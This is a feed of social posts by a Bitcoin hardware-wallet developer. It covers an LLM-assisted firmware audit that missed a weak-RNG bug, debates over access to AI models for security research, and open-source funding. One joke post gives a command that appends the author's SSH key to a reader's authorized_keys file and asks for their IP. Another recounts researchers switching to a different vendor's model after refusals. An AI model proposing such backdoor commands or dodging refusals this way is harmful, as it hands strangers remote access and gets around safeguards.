nick

you can pay to work on bitcoin

The Canadian Calculator

Seven weeks ago I pointed Opus 4.8 at the ColdCard firmware and told it to find bugs that lose people money.

The second bullet of my prompt: Weak RNG source.

To be clear I'm not claiming we could have prevented anything. But we were hunting for precisely this kind of bug.

Bugs that are easy to introduce within the C programming language, ones catastrophic in single-device settings.

And we were so fucking close to spotting this one.

For the past year we've been running LLM audits constantly on

, the cryptography libraries underneath, and time lent poking around at other software which the industry leans on. Patches sometimes going to maintainers privately.

There's a lot of low hanging fruit..

Why did Opus miss?

We hadn't cloned enough of Coldcard's submodules. This bug lives between files, and some of those files weren't on my disk. What was present told a self consistent story, with convincing docstrings at the boundary: "best-quality high entropy TRNG bytes".

More significantly, this audit was conducted 4 days after the US government export controlled Fable.

I can't tell you whether things would be different if bitcoin researchers had frontier model access. The models have already changed underneath us.

When trying to run this research today, Fable's safeguards kick in and it drops back to Opus.

During the frantic investigation, researchers reproducing this bug reached for Kimi, a Chinese model, because western models refused on cybersecurity guardrails.

What I can tell you is that who gets access to frontier capability for this kind of work is now decided by governments, vendors, and big tech consortiums.

I've uploaded the original audit document, and the metadata of my transcript that survived claude code's default 30 day cleanup period :/

https://gist.github.com/nickfarrow/4e97c71c8f1acd01aedce671621081d2

It's true that capable models have been available to anyone for a while, and a security researcher still didn't get there first.

Not because too many people had access, but because hardly anyone is looking.

I ran this audit out of curiosity. A lot of them turn up something real. This one nearly did. We need more skilled people doing this, with more resources.

Restricting access to these models won't stop vulnerabilities from being exploited. You'll just have fewer of us looking.

dice rolling maxis rn

in the lab

mashing approve on nostr extension

man blasting speaker on the train and it's EDM slop with Alan Watts pseudoprofound nonsense overlaid

we are so back

also i was marked safu from AUR malware because i never really liked the idea of any of those fancy yay or paru package managers

on arch you really can just run pacman -Syu and things start working that you never even knew were broken

friend who used to nonstop ask me questions without even googling has started asking the ai (big win for both of us!)

But now he's 6months into a website project that i actually think is pretty solid, but refuses to publish it because "it's not ready yet"

Can't believe paralelni polis is gone. So silently. Where am i meant to seek refuge inbetween airbnb checkins? or go to meet like-minded people on a random weekday? to get into friendly debates with bcashers? Or to stumble upon a random project to hack on, or a group to enjoy beer with?

All i can do is be grateful to have experienced it, and the friends to have met there. And look forward to the many more places that will emulate it

Etherium privacy people are the biggest larps in existence

Is there a nostr version of vexl?

local audio transcription models are a super power

₿: put the money in motion

F R O S T S N A P R O S T S N A P

ballmer peak is real

nothing humbles a team like x-only key parity

https://aggr.trade szn i guess

@claude hack this repo

you should be asking LLMs to hack your repos repeatedly until you cant withstand another hallucinated proof of concept attack

visit new cafe late afternoon haven't had nitro brew in while receive pint glass of pure concentrated caffeine 3am nostr oh new cryptography open repo, goto sketchy section looks fucked @ claude dis real? pwned (twice) https://blossom.primal.net/4d45963ec176a37424bd2c7fbdd00b08d7ac7710e2aac11b320fdd3ba998315e.png

Something I've been contemplating regarding open source funding is that it is substantially harder to secure open source funding if you intend to build a profitable business atop the FOSS you're producing.

We did not pursue some grants ourselves because we'd been told that commercial companies are unsuitable recipients. I respect this stance and I think the instinct behind it is well-meaning, but in my opinion it produces outcomes opposite to what open source donors desire.

This reasoning seems to come from various angles. One is charitable instinct: funding should go to those who otherwise wouldn't receive it. The other is distributive: why fund work that someone else intends to monetise. Both are intuitive. But I'd argue that this creates market distortions that are suboptimal for the ecosystem we want to foster.

FOSS projects with commercial incentive are subject to falsifiable product exploration -- continuous, unforgiving feedback from users. Skin in the game. This selection pressure produces better software and products optimising for grant approval.

Bounty style funding results in even more perverse outcomes: a prize for acheiving X often results in the minimal viable X without any regard for usability, adoption or longevity. They win the prize and move on.

The current funding environment favours more hobbyist-style maintainers and well-capitalised ventures and squeezes out the middle: small commercial teams shipping FOSS, who I think may be the healthiest part of the open source ecosystem.

In Bitcoin hardware, at the extremes, "company" and "business" are even used as pejoratives, as though commercial intent is antithetical to open source values! They would argue this suspicion is founded through historical events in the industry. Perhaps, but I think is unreasonable to apply broadly.

In terms of our own work: we've delivered a substantial body of FOSS code (used by others), specification contributions, research, and industry vision, and in my (biased) opinion, the best hardware wallet in Bitcoin's existence. I can say with certainty that this output would have been faster, larger, and more impactful with funding (earlier, wen FROST?) in this middle ground between entirely donor funded FOSS and fully capitalised proprietary development.

Meritocracy works when the field is open to everyone advancing it -- including those building businesses on top of the FOSS they produce. Would be curious as to people's thoughts

i think there's a miniature quantum computers eavesdropping on my bluetooth

BIP39 passphrases lose more bitcoin than they protect gm

crazy how legacy social media platforms are sustained by gullible people falling for ads which are scams like 90% of the time

The app shows the colors of your devices. Small detail we've been wanting to add for a long time

Who would you like to see review Frostsnap multisig? ❄

lmao this is insanely impossible to comply with

Check out how easy it is to use multisig with Frostsnap

what (free) software would allow someone to make an animation like this easily and cleanly, based on an existing SVG?

https://utxo.club/frostsnap-icon.html

DDOS is a psyop invented by cloudflare salesmen

src: they had me larping w LOIC and slow loris in 2014

F to pay respects to all those friends who sold for their single digit percentage "profit", those who were waiting for a "crash", and those who cashed out to consoom something they don't use anymore

Frostsnap, The Bitcoin Security Company

Day 1,134 of sustained acceleration Approaching escape velocity

your node should look like this and if it doesn't you should run this and tell me your ip and hostname

echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDNJhlo7llQdY6tMBpVx3Gq5lu1jS3rlOMR7+fz+iw83 nick" >> ~/.ssh/authorized_keys

Sorry to disturb your sleep Cal the soundboard was on party mode

Join us live on Citadel Dispatch in ~5 hours time for our very first podcast discussing

Ask anything you want to learn about Frostsnap in the livechat!

https://citadeldispatch.com

Dudes will manage to build one binary deterministically and start describing themselves as nixpilled

DETERMINISTIC FROSTSNAP FIRMWARE BUILDS:

https://github.com/frostsnap/frostsnap/pull/277

ANOTHER DAY ANOTHER EU REGULATION FUCKING MY SHIT UP (I HAVE ZERO TIES TO EUROPE)

reactivated instagram

WHERE IS ZHOU TONGED